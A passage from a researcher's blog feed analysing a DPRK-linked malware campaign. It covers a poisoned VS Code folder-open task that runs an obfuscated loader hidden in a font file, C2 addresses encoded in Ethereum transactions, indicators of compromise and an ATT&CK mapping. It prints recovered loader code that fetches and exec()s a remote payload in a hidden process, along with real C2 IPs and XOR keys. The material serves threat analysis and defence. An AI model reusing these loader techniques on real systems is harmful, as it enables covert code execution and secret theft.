sys,subprocess as P,shutil as S<br>from urllib.request import urlopen,Request<br>Request._target=&#39;&lt;_H2&gt;&#39;<br>id=sys.argv[1];Request._V=sys.argv[2]...;Request._F=sys.argv[3]...<br>url=f&#39;&lt;_H&gt;/$/{id}&#39;<br>H={&#39;User-Agent&#39;:UA,&#39;Sec-V&#39;:Request._V}<br>try:<br> Request._code=urlopen(Request(url,headers=H)).read().decode(&#39;utf-8&#39;)<br>except Exception:<br> # fall back to curl -fsSL<br>exec(Request._code)<br>&quot;&quot;&quot;<br>if sys.platform.startswith(&quot;win&quot;):<br> subprocess.Popen([sys.executable,&#39;-c&#39;,code,&#39;1&#39;,_V,_F],<br>     creationflags=CREATE_NO_WINDOW|CREATE_NEW_PROCESS_GROUP, ...)<br> print(&quot;&lt;/?&gt;&quot;)<br>else:<br> # Mac: same as client-body — run in this process so Node keeps the pipe open (Popen+exit caused SIGPIPE).<br> print(&quot;&lt;/?&gt;&quot;,flush=True)<br> os.execv(sys.executable,[sys.executable,&#39;-c&#39;,code,&#39;1&#39;,_V,_F])</pre><p>How it works:</p><pre>boot (node)<br>  └─ py -c &lt;loader&gt;  ── prints &quot;&lt;/?&gt;&quot; ──►  boot: &quot;success&quot;<br>        └─ hidden background Python process<br>              └─ GET &lt;C2&gt;/$/1 → exec()  (Python implant, memory only)</pre><blockquote>The /$/1 path also completes a pattern: the /$/ paths deliver stages (/$/boot, /$/1), while the /0x/ paths deliver the JavaScript clients.</blockquote><blockquote>Public reporting on this toolkit’s Python branch references /$/z1. The current sample requests /$/1 instead, from a loader that builds the path as /$/{id} with the ID hard-coded to &#39;1&#39;.</blockquote><h4>The Comment They Forgot to Delete</h4><p>Inside that Python string, the authors left this:</p><pre># Mac: same as client-body — run in this process so Node keeps the pipe open (Popen+exit caused SIGPIPE).</pre><p>That’s a developer’s note, shipped to victims. It tells us two things:</p><ol><li>They’re actively debugging macOS. They hit a SIGPIPE bug with Popen and reworked it.</li><li>Their internal name for /0x/clb is “client-body”.</li></ol><p>Combined with boot’s “inject client” error message and cls’s own errors (“client-loader failed”, “client-body fetch failed”), we now have the authors’ own names for the stages:</p><pre>| Path    | What it is                  | The authors&#39; name             |<br>|---------|-----------------------------|-------------------------------|<br>| /0x/cls | Loader for the RAT          | inject client / client-loader |<br>| /0x/clb | Persistence installer + RAT | client-body                   |</pre><h4>What boot actually downloads</h4><pre>| What                      | From                           | Lands                                  |<br>|---------------------------|--------------------------------|----------------------------------------|<br>| axios + socket.io-client  | public npm registry            | Disk: ~/.node_modules/                 |<br>| Inject client (/0x/cls)   | ip1:443/0x/cls                 | Memory only (eval)                     |<br>| Portable Python           | _H2/d/python.zip               | Disk: ...\Programs\Python\Python3127\  |<br>| 7-Zip + Python (fallback) | _H2/d/7zr.exe, _H2/d/python.7z | Disk: same folder                      |<br>| get-pip.py (Linux/macOS)  | bootstrap.pypa.io              | Disk: /tmp/get-pip.py                  |<br>| Python implant            | _H/$/1 (fetched by python.exe) | Memory only (exec)                     |</pre><p>The pattern is consistent: only tooling touches the disk (npm packages, an interpreter, an extractor). The two payloads boot fetches run from memory.</p><h4>The one that got away: /$/1</h4><p>The last piece, the Python implant at /$/1, is the one I couldn’t get.</p><p>I can only guess why:</p><ul><li>the operators may have closed port 80 after rotating infrastructure,</li><li>they may only open it, or only serve /$/1, to victims that pass boot’s checks,</li><li>or the Python stage may have moved to a different host entirely.</li></ul><p>So a few things in this post are educated guesses, not confirmed behaviour:</p><ul><li>what the Python implant actually does,</li><li>that it’s the stage that creates and locks the tmp7A863DD1.tmp and tmp&lt;timestamp&gt;.tmp files,</li><li>and what the RAT’s own Python downloads (/6x6/, /x2/) deliver.</li></ul><p>If you have a copy of the /$/1 payload, or have seen this campaign’s Python stage elsewhere, please let me know!</p><h3>Conclusion</h3><p>Part 1 ended with a loader that pulled two payloads from a C2 hidden in Ethereum. This post followed both.</p><p>/0x/cls led to /0x/clb, the “client body”. It plants a 1.5MB implant inside VS Code, Cursor, Antigravity, Discord, GitHub Desktop and npm, and gives the operator a live shell with clipboard theft and file exfiltration.</p><p>/0x/ls led to /$/boot, which steals the machine’s entire environment, restarts the inject client, and, if the host looks worth it, installs its own Python to run the final stage from memory.</p><p>Across the chain:</p><ul><li><strong>No classic persistence.</strong> No Run keys or scheduled tasks; the implant hides inside trusted dev tools, behind 200 spaces.</li><li><strong>Payloads stay in memory.</strong> Only tooling touches the disk.</li><li><strong>The block-list protects the attackers.</strong> By the time it runs, the secrets are already gone.</li><li><strong>It’s actively maintained.</strong> Markers go back to mid-2025, and an “old” C2 was still serving an updated build on Oct 11.</li></ul><p>If this repo was ever opened on your machine, treat it as compromised: check editors and npm for the markers below, look for ~/.node_modules and Python3127, reinstall affected apps, and <strong>rotate every secret</strong> in that machine’s environment. To block this entry point, set &quot;task.allowAutomaticTasks&quot;: &quot;off&quot; in VS Code.</p><h3>IoCs</h3><p>The Ethereum wallet and the full C2 rotation history are in Part 1.</p><h4>Network</h4><pre>| Type          | Indicator                                       | Context                                   |<br>|---------------|-------------------------------------------------|-------------------------------------------|<br>| C2 IP         | 193.247.144.38                                  | Still serving /0x/clb on Oct 11 (TCP/443) |<br>| C2 / wallet   | See Part 1                                      | Ethereum dead drop, rotated C2 IPs        |<br>| URI           | /0x/cls  (HTTP, port 443)                       | Inject client (client-loader)             |<br>| URI           | /0x/ls   (HTTP, port 443)                       | Stager for boot                           |<br>| URI           | /0x/clb                                         | Client body (JSON: inz + body)            |<br>| URI           | /0x/cb                                          | Client body, fallback (raw XOR)           |<br>| URI           | /0x/js                                          | inz implant, fallback                     |<br>| URI           | /$/boot  (HTTP, port 80)                        | boot orchestrator                         |<br>| URI           | /$/1     (HTTP, port 80)                        | Python implant (not retrieved)            |<br>| URI (POST)    | /verify-human/&lt;id&gt;                              | Status beacon to the operator             |<br>| URI (POST)    | /snv                                            | Environment-variable theft                |<br>| URI (POST)    | /u/f                                            | RAT file upload (multipart)               |<br>| URI           | /d/python.zip, /d/python.7z, /d/7zr.exe         | Portable Python download                  |<br>| URI pattern   | /6x6/, /x2/, /$/                                | RAT Python downloads                      |<br>| HTTP header   | Sec-V: &lt;campaign ID&gt;  (default A4)              | Stage requests (/0x/*, /$/*)              |<br>| User-Agent    | Mozilla/5.0 (Windows NT 10.0; Win64; x64)       | ls only: note &quot;KHTML;&quot; with a semicolon   |<br>|               | AppleWebKit/537.36 (KHTML; like Gecko)          |                                           |<br>|               | Chrome/131.0.0.0 Safari/537.36                  |                                           |<br>| User-Agent    | Python-urllib/3.12  (sent by curl)              | RAT Python downloads                      |<br>| socket.io     | events: identify / command / response           | RAT command channel                       |<br>| Port          | Plain HTTP on TCP/443                           | Payload delivery and socket.io            |</pre><h4>Host</h4><pre>| Type          | Indicator                                              | Context                               |<br>|---------------|--------------------------------------------------------|---------------------------------------|<br>| Directory     | ~/.node_modules/node_modules/  (axios,                 | Attacker-installed Node packages      |<br>|               |   socket.io-client@4.7.5)                              |                                       |<br>| File          | ~/.node_modules/.npm-install.lock                      | Install lock                          |<br>| Directory     | %LOCALAPPDATA%\Programs\Python\Python3127\             | Fake Python install                   |<br>| File          | ~/.local/bin/py, ~/.local/bin/node20                   | Attacker interpreters (macOS/Linux)   |<br>| File          | %LOCALAPPDATA%\Temp\tmp7A863DD1.tmp                    | Single-instance lock                  |<br>| File          | %LOCALAPPDATA%\Temp\tmp&lt;epoch-ms&gt;.tmp                  | Python stage success marker           |<br>| File          | %LOCALAPPDATA%\Temp\&lt;base64(username)&gt;                 | First-infection timestamp (Windows)   |<br>| File          | /tmp/.&lt;base64(username)&gt;                               | First-infection timestamp (other OS)  |<br>| File          | /tmp/get-pip.py                                        | pip bootstrap (macOS/Linux)           |<br>| File          | &lt;dir&gt;/&lt;name&gt;.inz.cjs                                   | Implant sidecar                       |<br>| File          | &lt;dir&gt;/&lt;name&gt;.&lt;ext&gt;.inz.orig                            | Backup of the clean original          |<br>| File          | &lt;dir&gt;/&lt;name&gt;.&lt;ext&gt;.inz.tmp                             | Temp file during injection            |<br>| Modified file | VS Code / Cursor: resources/app/out/main.js            | Trojanized with inz                   |<br>| Modified file | @vscode/deviceid/dist/index.js                         | VS Code, Cursor, Antigravity          |<br>| Modified file | modules/discord_desktop_core/index.js                  | Discord                               |<br>| Modified file | GitHub Desktop: resources/app/main.js                  | GitHub Desktop                        |<br>| Modified file | &lt;global npm&gt;/lib/cli.js                                | npm                                   |<br>| Env variable  | jsbot                                                  | Report-only mode                      |<br>| Process       | node -&gt; tasklist /FO CSV /NH                           | Security-product check (Windows)      |<br>| Process       | node -&gt; npm --prefix &quot;&lt;home&gt;/.node_modules&quot; install    | Dependency install                    |<br>| Process       | node -&gt; py / python.exe -c &quot;&lt;loader&gt;&quot;                  | Python loader                         |</pre><h4>Strings and Markers</h4><pre>| Type            | Indicator                                         | Context                              |<br>|-----------------|---------------------------------------------------|--------------------------------------|<br>| XOR key         | q4FZkxX{!h,Sr3=@                                  | /0x/cls, /0x/clb body, /0x/cb        |<br>| XOR key         | y-p_&gt;d$0B&amp;@^1aQk                                  | /0x/ls                               |<br>| XOR key         | ThZG+0jfXE6VAGOJ                                  | /$/boot                              |<br>| Marker          | /*RS260605*/                                      | Start of the inz implant             |<br>| Marker          | /*M260630A*/                                      | Current injection marker             |<br>| Marker          | /*C250617A*/ /*C250618A*/ /*C250619A*/            | Older injection markers              |<br>|                 | /*C250620A*/ /*C260511A*/                         |                                      |<br>| String          | global[&#39;e&#39;]=&#39;app-&lt;name&gt;-eval&#39;;global.i=&#39;A4&#39;       | Injected prefix (desktop apps)       |<br>| String          | global[&#39;e&#39;]=&#39;NPM&#39;;global.i=&#39;A4&#39;                   | Injected prefix (npm)                |<br>| String          | __inzCR / __inzRQ / __inzV                        | Injected loader stub                 |<br>| Hostnames       | EV-CHQG3L42MMQ, EV-4A6OE6M0E2D                    | Operator test machines               |<br>| MD5 (proc name) | 9a47bb48b7b8ca41fc138fd3372e8cc0                  | Security product avoided (unknown)   |</pre><p>File hashes. “Response” = exactly as served by the C2; “decrypted” = after XOR/Base64.</p><pre>| File                                  | MD5                              | SHA-256                                                          |<br>|---------------------------------------|----------------------------------|------------------------------------------------------------------|<br>| /0x/cls response                      | 7a249dc96d056186e42ceb0d9ca02bdf | 6bc870593f447c7727b487c2d382636d4699afffe67fa6a2075f78117ad15f6b |<br>| /0x/cls decrypted                     | f7fdf989176e43120d9577d2c5f4382f | df455e5ce1008f8f6e923bd9bf7e0953e90ba1dff6d33c5ac3580ef0213daac0 |<br>| /0x/ls response                       | e5bbb8acf253d214d20a5c672f11f65b | affbbe7b899a60541365224a99ff0d51dff83bd2999a0041bc8d125d1742b0d2 |<br>| /0x/ls decrypted                      | fb6c0c316dc0c3c3313b2cc77aef7320 | d844b7acdd591e6de8221190271c77e503b6e748a0721682d6c4a8ff77b5529e |<br>| /0x/clb response (Sep 30)             | 147fe96338db1ae4906da77c3c610184 | 3af70c4b0849d4b6933891b93a9356c1cfec188000f45f5f95f5c789c84af921 |<br>| /0x/clb body decrypted (= /0x/cb)     | d8c73ac159fa713a6d16e591eade23c8 | 41cb56f3b8e2df7c61b671813317aa277f59bbfb374cfddd483d22eec44723ff |<br>| /0x/clb inz implant (Sep 30)          | 55f7a681e3ba62dbd7f0231694add915 | dd3cf0b5d3140842eb1a5b4dc941587df97dae80ad8b171871539d1a44f92e47 |<br>| /0x/clb response (Oct 11)             | d9a3ea539da4123d17c8fc84564c40ba | b7b8da2a970758c34d047eca17f666ca864004978d8a9184462eb5a3af680658 |<br>| /0x/clb body decrypted (Oct 11)       | 153b9ee79a06bc27539e4416c64da15e | 30d52cb160c9d8d4a864ba94d4272783b96c94da99088096fc974714562a86fe |<br>| /0x/clb inz implant (Oct 11)          | 3a6a17b1488cabfd59aecfcf534a0ba6 | afd32abd7c2ebe8f67bf2c03b29ab1385e4386e76f43f52fde0a099503086f6c |<br>| /0x/cb response                       | 085b48ddc7de05193072f6a849dfdaa0 | 3b87063cc5ca1a2c020c30c05227e3ffbfbb9036956f6b210585b2071d94bf5c |<br>| /0x/js response                       | 78c489283191674596646c552c819b78 | 5631d7371bedddab600553ee5f60f32afef6b5424c362700710783eb1161cd60 |<br>| /$/boot response                      | d8da3f7a95de08eb2db93c00d578db70 | 16cd50e50aa56797f356d60af7c7db3bf4ab923d0a7271c639796bb4add782d0 |<br>| /$/boot decrypted                     | 1b668cb3fcd7243e258ba4d9473d64af | ab8a54f50bbda7eb2156941ef99a801158794a787bd9d78bbe6cf6822e53fd1a |</pre><h3>MITRE ATT&amp;CK Mapping</h3><pre>| Tactic               | Technique                                         | ID             | Evidence                                               |<br>|----------------------|---------------------------------------------------|----------------|--------------------------------------------------------|<br>| Execution            | Command and Scripting Interpreter: JavaScript     | T1059.007      | eval() of every stage, node -e for /0x/ls              |<br>| Execution            | Command and Scripting Interpreter: Python         | T1059.006      | py -c loader, exec() of /$/1                           |<br>| Execution            | Command and Scripting Interpreter: OS shell       | T1059.003/.004 | RAT runs non-ss_ commands via cmd (Win) / sh (Unix)    |<br>| Persistence          | Compromise Host Software Binary                   | T1554          | inz appended to VS Code, Cursor, Discord, npm          |<br>| Defense Evasion      | Obfuscated Files or Information                   | T1027          | XOR stages, JsConfuser, LZString string table          |<br>| Defense Evasion      | Deobfuscate/Decode Files or Information           | T1140          | Runtime XOR and Base64 decoding                        |<br>| Defense Evasion      | Reflective Code Loading                           | T1620          | Stages run from memory, never written to disk          |<br>| Defense Evasion      | Virtualization/Sandbox Evasion: System Checks     | T1497.001      | Cloud / CI / sandbox block-lists, test-host bypass     |<br>| Defense Evasion      | Masquerading: Match Legitimate Name or Location   | T1036.005      | Programs\Python\Python3127                             |<br>| Defense Evasion      | Hide Artifacts                                    | T1564          | 200-space padding, hidden ~/.node_modules              |<br>| Defense Evasion      | Hide Artifacts: Hidden Window                     | T1564.003      | windowsHide, CREATE_NO_WINDOW                          |<br>| Discovery            | System Information Discovery                      | T1082          | hostname, OS release, cloud environment variables      |<br>| Discovery            | System Owner/User Discovery                       | T1033          | os.userInfo().username                                 |<br>| Discovery            | Software Discovery: Security Software Discovery   | T1518.001      | tasklist + hashed process-name check                   |<br>| Discovery            | System Location Discovery                         | T1614          | ss_ip via ip-api.com                                   |<br>| Discovery            | File and Directory Discovery                      | T1083          | ss_fcd, ss_dir, folder browsing                        |<br>| Credential Access    | Unsecured Credentials                             | T1552          | Full process.env sent to /snv                          |<br>| Collection           | Clipboard Data                                    | T1115          | ss_cb                                                  |<br>| Collection           | Data from Local System                            | T1005          | ss_upf, ss_upd                                         |<br>| Command and Control  | Application Layer Protocol: Web Protocols         | T1071.001      | Plain HTTP on 80/443, socket.io                        |<br>| Command and Control  | Non-Standard Port                                 | T1571          | Plain HTTP over TCP/443                                |<br>| Command and Control  | Ingress Tool Transfer                             | T1105          | /0x/*, /$/*, /d/python.zip, npm packages               |<br>| Command and Control  | Fallback Channels                                 | T1008          | /0x/cb + /0x/js fallback, ss_connect                   |<br>| Command and Control  | Web Service: Dead Drop Resolver                   | T1102.001      | C2 IP read from Ethereum transactions (Part 1)         |<br>| Exfiltration         | Exfiltration Over C2 Channel                      | T1041          | /snv, /u/f, /verify-human/                             |</pre><p><strong>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —-</strong></p><p>Hope you found this article insightful. Follow me for similar content like this!!</p><p>My LinkedIn: <a href="https://www.linkedin.com/in/rd-tarun">https://www.linkedin.com/in/rd-tarun</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6371da5e74c4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Their GitHub Repo Was Compromised. The Trail Led to North Korea.]]></title>
            <link>https://medium.com/@tarunrd77/their-github-repo-was-compromised-the-trail-led-to-north-korea-6d332abbdedf?source=rss-e60e03d0d176------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d332abbdedf</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[R.D.Tarun]]></dc:creator>
            <pubDate>Sun, 27 Sep 2026 13:25:29 GMT</pubDate>
            <atom:updated>2026-09-28T06:37:43.032Z</atom:updated>
            <content:encoded><![CDATA[<h4>How a poisoned VS Code workspace led me to DPRK-linked PolinRider, NullReceiver, and a trail of rotating C2 servers hidden in Ethereum.</h4><p>A few days ago, I was contacted by a Web3/Fintech company after they discovered that their GitHub repositories had been compromised.</p><p>The compromise was not new.</p><p>According to the information given to me for the investigation, the activity had apparently been present for around 10 months. The bigger problem was that the company did not know exactly how the malware had initially made its way into the repositories.</p><p>Because the company operates heavily around Web3 technologies and relies extensively on the JavaScript/npm ecosystem, a supply-chain compromise was one plausible hypothesis. However, at the beginning of the investigation, there was no evidence that conclusively established npm or another dependency as the initial entry point.</p><p>So I started from what was actually available: <strong>the compromised repository itself.</strong></p><p>What followed was a chain of discoveries that eventually led from two seemingly ordinary VS Code configuration files to an obfuscated JavaScript payload hidden inside a WOFF2 font, an Ethereum wallet being used as a dead-drop resolver, multiple rotating C2 servers, and infrastructure associated in public research with DPRK-linked <strong>PolinRider/NullReceiver</strong> campaign.</p><p>This post documents that investigation.</p><h3>.vscode Investigation</h3><p>When investigating a compromised source repository, one of the first places I wanted to look at was the .vscode directory, as it can reveal a lot about the <em>workspace settings</em>, which attackers are most likely to exploit (also in the complaint I got, they said that whenever anyone pulls that repo to work on it, their PC gets compromised).</p><p>That immediately made the following two files interesting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*kuyPFsZdfIHwV4bKafBokg.png" /><figcaption>In a VS Code workspace, <strong>settings.json </strong>controls the workspace settings, and <strong>tasks.json</strong> automates repetitive workflows and also runs external tools directly.</figcaption></figure><p>At first glance, settings.json looked completely normal, until I noticed a task named lint on open , which was configured to execute whenever the project folder was opened.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*7iRrOXTAxLPZjLZeVMz5Wg.png" /></figure><p>Now I wanted to know what else was configured to run when the folder was opened. So I opened tasks.json,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4kYlz8JEthlwbupUEfvRcg.png" /></figure><p>The task in tasks.json is named: eslint-check, which makes it look like some sort of <a href="https://eslint.org/">ESLint</a>-related check. But the command being executed is not ESLint.</p><p>It is rather making node execute ./apps/admin/src/api/public/fonts/fa-solid-400.woff2, a Font Awesome font file, present inside the repository itself. Another thing to note is the deliberate stealthiness around the eslint-check task.</p><p>So the execution chain was essentially:</p><pre>Developer opens repository<br>        |<br>        v<br>VS Code opens project<br>        |<br>        v<br>folderOpen task triggers<br>        |<br>        v<br>Check whether Node.js exists<br>        |<br>        v<br>node ./client/.../fa-solid-900-900.woff2</pre><p>The important part was that the file being passed to Node was <strong>not a </strong><strong>.js file</strong>. It was a font.</p><p>That was the point where the investigation shifted from looking at repository configuration to reverse engineering the font itself.</p><h3>Breaking the First-Stage JS Payload</h3><p>The WOFF2 file turned out to be a heavily obfuscated JavaScript loader. Although the file was large, much of its size came from an enormous string table and the code required to reconstruct those strings and functions at runtime.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*ttioFduz3PI2DgPvNA6J3A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*XBP7_6SLdreNo-t8LmVU8Q.png" /></figure><p>I first beautified the code using an online JavaScript beautifier. This made the structure somewhat easier to follow, and I began working through the individual obfuscation layers.</p><h4>The String Table</h4><p>The script begins by defining _0x12bc(), which returns a very large array containing hundreds of strings. Most of the entries in _0x12bc look like meaningless character sequences.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-bYzp6r9S75czIoCqrRNOw.png" /><figcaption>Some entries in the array also contain escaped hexadecimal characters. For example, \x20 represents a space and \x22 represents a double quote. These are not particularly sophisticated by themselves, but they make the string table harder to read at a glance.</figcaption></figure><p>The script then accesses this table through _0x5b5d():</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*pXDRcDahp_2Y9rtSw-U3nQ.png" /><figcaption>_0x5b5d() takes a numeric value, applies an offset, and uses the resulting value to retrieve an entry from the string table.</figcaption></figure><p>Conceptually, the first layer looks like this:</p><pre>Obfuscated string table<br>        |<br>        v<br>Numeric lookup<br>        |<br>        v<br>Runtime rotation<br>        |<br>        v<br>String resolver<br>        |<br>        v<br>Actual JavaScript string</pre><p>There is another complication. Before the strings are used, the script rotates the array at runtime by repeatedly moving entries from one end of the array to the other until an internal calculation reaches the expected value.</p><p>This means the numeric indices cannot simply be mapped to strings from the static source. The malware first reconstructs the correct ordering at runtime.</p><h4>The Second Decoder</h4><p>The next important component is y7().</p><p>Despite the intimidating amount of arithmetic surrounding it, its core behavior is relatively straightforward. It takes a string, converts it into an array of characters, calculates positions using several supplied constants, repeatedly swaps characters, updates an internal state value, and finally joins the characters back together.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lbp2dewFeCcVS30Wyw-jkQ.png" /><figcaption>In other words, y7() is another string transformation layer.</figcaption></figure><p>The output of this decoder is then used by other parts of the loader to reconstruct property names, function names and eventually executable JavaScript.</p><p>For example, one of the string-table lookups resolves to:</p><pre>e|jtcb|rom</pre><p>After passing through the transformation performed by y7(), it becomes:</p><pre>r|object|m</pre><p>The script then uses operations such as split(), join() and String.fromCharCode() to further reconstruct runtime values.</p><p>This is where the obfuscation starts becoming less about hiding individual strings and more about hiding the execution flow itself.</p><h4>Following the execution chain</h4><p>A large object r8 contains the parameters used by the decoder along with several very large encoded strings.</p><p>The function s8() essentially feeds these encoded values through y7() using a fixed set of parameters.</p><p>The variable x8 is particularly interesting because it contains the recovered JavaScript code that the first stage is ultimately trying to execute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*frgqO_4q-7-Y0Uj7EZiOfg.png" /><figcaption>The script creates an alias: var _0x514f9b = _0x5b5d (line 2 of the initial code, marked ‘alias’). So throughout the rest of the code, calls such as _0x514f9b(0x...) are effectively hidden string lookups.</figcaption></figure><p>At this point, instead of manually reversing every arithmetic expression in the obfuscator, I took advantage of something important: <strong>the JS already contains everything necessary to decode itself.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B7OVnGxr76cvmGiuAo29Ww.png" /><figcaption>after the string lookup and reconstruction, execution is invoked (vanilla code)</figcaption></figure><p>I therefore modified the final execution point so that the generated value was logged rather than executed.</p><p>Instead of allowing the terminal invocation to run, I inspected the value produced in x8.</p><p>This produced a fully readable second-stage Node.js loader.</p><pre>               FIRST-STAGE JAVASCRIPT<br>                         |<br>                         v<br>              _0x12bc() string table<br>                         |<br>                         v<br>              _0x5b5d() string resolver<br>                         |<br>                         v<br>               Runtime array rotation<br>                         |<br>                         v<br>               y7() character transformation<br>                         |<br>                         v<br>               s8() decoder with fixed params<br>                         |<br>                         v<br>                    r8.g / r8.h<br>                         |<br>                         v<br>               Dynamic Function construction<br>                         |<br>                         v<br>                x8 recovered JS code<br>                         |<br>                         v<br>                FINAL INVOCATION<br>                         |<br>                         v<br>               SECOND-STAGE LOADER</pre><h3>Second Stage Loader</h3><p>The second-stage loader matched the <strong>NullReceiver</strong> technique, an improvement to the existing <strong>EtherHide</strong> technique used by DPRK APTs, documented by <a href="https://www.linkedin.com/in/mccartypaul">Paul McCarty</a> in August 2026: <a href="https://opensourcemalware.com/blog/nullreceiver-dprk-c2-technique"><strong>NullReceiver’s Blank Crypto Transfers Solves the Challenges of EtherHiding</strong></a></p><p>What was interesting here was that we weren’t just looking at the technique in isolation.</p><p><strong>We were seeing it inside a compromised GitHub repository, in an actual recovered loader.</strong></p><p>The second-stage loader was a pure JavaScript file with no further obfuscation. And buried inside it was something that immediately stood out:</p><h4>The Ethereum Wallet Address</h4><p>The recovered loader contained a hardcoded Ethereum address:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eKKrfP5jNPiWyzrYxtzEBA.png" /></figure><p>The code explicitly treated the address as the <strong>sender</strong> of ETH transactions:</p><pre>var SENDER = &#39;0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a&#39;.toLowerCase();</pre><p>It also contained multiple Ethereum RPC endpoints and a Blockscout API, proving that the loader had several ways to query the Ethereum blockchain.</p><h3>What It Actually Did With the Wallet</h3><p>The code wasn’t interested in the wallet’s balance. It was looking for transactions <strong>originating from that address.</strong></p><p>That became obvious when I pulled up the <a href="https://etherscan.io/txs?a=0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a&amp;p=1">wallet’s transaction history</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u5QLUmtT6UHXwP-y6rWVzw.png" /><figcaption>Observations on the transaction history of the hardcoded ETH wallet.</figcaption></figure><p>The pattern was immediately strange. The transactions kept appearing at regular intervals, always from the same sender to the same recipient, and every single one transferred exactly 0 ETH.</p><p>Yet every transaction still carried a transaction fee.</p><blockquote>That raises an obvious question: Why would anyone repeatedly pay Ethereum gas to send zero ETH?</blockquote><p>Because the ETH was never the message.<strong> The transaction itself was.</strong></p><p>On Ethereum, a transaction still has to be processed and included in the blockchain even when the value field is zero, and the sender still pays the associated gas fee. (<a href="https://ethereum.org/developers/docs/intro-to-ether?utm_source=chatgpt.com">ethereum.org</a>)</p><p>Once I understood that, the transaction structure made the reason much clearer, and honestly, it blew my mind.</p><h4>The Core Functionality of the ETH Wallet</h4><p>The loader wasn’t simply checking whether a transaction existed. It extracted the transaction’s <strong>to address</strong> and passed it into a decoding function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*BSElPUQDERRjBq-80MAvgg.png" /><figcaption>decodeAddress() is being called on the “<strong>To” address of a transaction (tx)</strong>,<strong> </strong>and the resulting IPs are used to construct network endpoints.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*TNWCxGxlChmZHKI43oIcfA.png" /><figcaption>The first 8 bytes of the recipient address (after removal of ‘0x’) are interpreted as two IPv4 addresses.</figcaption></figure><p>An Ethereum address is 20 bytes long.The loader removed the 0x prefix, converted the hexadecimal address into bytes, and interpreted the first eight bytes as <strong>two IPv4 addresses</strong>.</p><p>For example, take this ETH wallet address, present in the “To” field,</p><pre>0xA658864BA658864B68656c6c6f6970626f742121</pre><p>Following the functionality of the function defined above, we remove the 0x, and split into bytes, as specified:</p><pre>A658864B A658864B 68656c6c6f6970626f742121</pre><p>The first four bytes:</p><pre>A6 58 86 4B</pre><p>become:</p><pre>166.88.134.75</pre><p>The next four bytes repeat the same IP:</p><pre>A6 58 86 4B</pre><p>And the remaining bytes:</p><pre>68 65 6c 6c 6f 69 70 62 6f 74 21 21</pre><p>decode to:</p><pre>helloipbot!!</pre><blockquote>The trailing bytes decode to helloipbot!!.</blockquote><blockquote>This appears to function as a marker embedded in the recipient address, although the recovered loader does not validate or otherwise use this value.</blockquote><blockquote>decodeAddress() only consumes the first eight bytes to recover the two IP addresses.</blockquote><p>What initially looked like a pointless zero-value ETH transfer turned out to contain:</p><pre>[166.88.134.75][166.88.134.75][helloipbot!!]</pre><p>The transaction wasn’t transferring anything of value.</p><p><strong>It was publishing data. </strong>And that explained the gas.</p><blockquote>To summarise, the attacker was paying the transaction fee (gas) to put the transaction on the blockchain. The malware then watched that wallet and read the C2 IP from the latest transaction.</blockquote><blockquote><strong>The wallet was basically being used as a mailbox for the malware.</strong></blockquote><p>That was the moment the purpose of the Ethereum wallet became clear. The 0 ETH transactions finally made sense.</p><h3>Finding the Latest Transaction</h3><p>Recovering the C2 IP was only possible because the loader first had to find the right transaction.</p><p>To find it, the loader had <strong>three different approaches</strong>, each acting as a fallback for the previous one.</p><p><strong>First</strong>, it checked a small set of likely block numbers around the latest block and looked for a transaction originating from the hardcoded wallet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*sFd0XySPBrqfiwAIakPomQ.png" /></figure><p>The loader queried these blocks through multiple Ethereum RPC endpoints and used the first successful match.</p><p><strong>If that failed</strong>, it used the wallet’s transaction count, or <strong>nonce</strong>, at different block heights to narrow down where the latest transaction was located.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*k96y3EC84xixCzJSgRPQQQ.png" /><figcaption>Binary Search algorithm is used to search and narrow down the exact transaction</figcaption></figure><p><strong>And if that failed too</strong>, it fell back to BlockScout and queried the wallet’s transaction history directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*RPLK5vMO_DkdC819e1wWqQ.png" /><figcaption><em>This URL queries BlockScout to give the target wallet’s 20 most recent outgoing transactions, newest first (desc).</em></figcaption></figure><p>So there were effectively <strong>three ways to recover the latest transaction</strong>: block probing, nonce-based searching, and finally a block-explorer lookup.</p><p>That redundancy is important. The malware wasn’t relying on a single blockchain endpoint or a single way of finding the transaction. If one method failed, it had multiple fallbacks to continue the C2 discovery process.</p><h3>From IP address to C2</h3><p>Once the loader recovered the transaction, it decoded the to address and extracted the two IPv4 addresses from it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*TNWCxGxlChmZHKI43oIcfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*BSElPUQDERRjBq-80MAvgg.png" /><figcaption>Observe that decodeAddress() will give 2 things as output: the 0–4 and 4–8 bytes of the ‘To’ address (as documented previously)</figcaption></figure><p>These addresses were then turned into network endpoints:</p><pre>_global[&#39;_H&#39;]   = &#39;http://&#39; + ip1 + &#39;:80&#39;;<br>_global[&#39;_H2&#39;]  = &#39;http://&#39; + ip2 + &#39;:80&#39;;<br>_global[&#39;_t_s&#39;] = &#39;http://&#39; + ip1 + 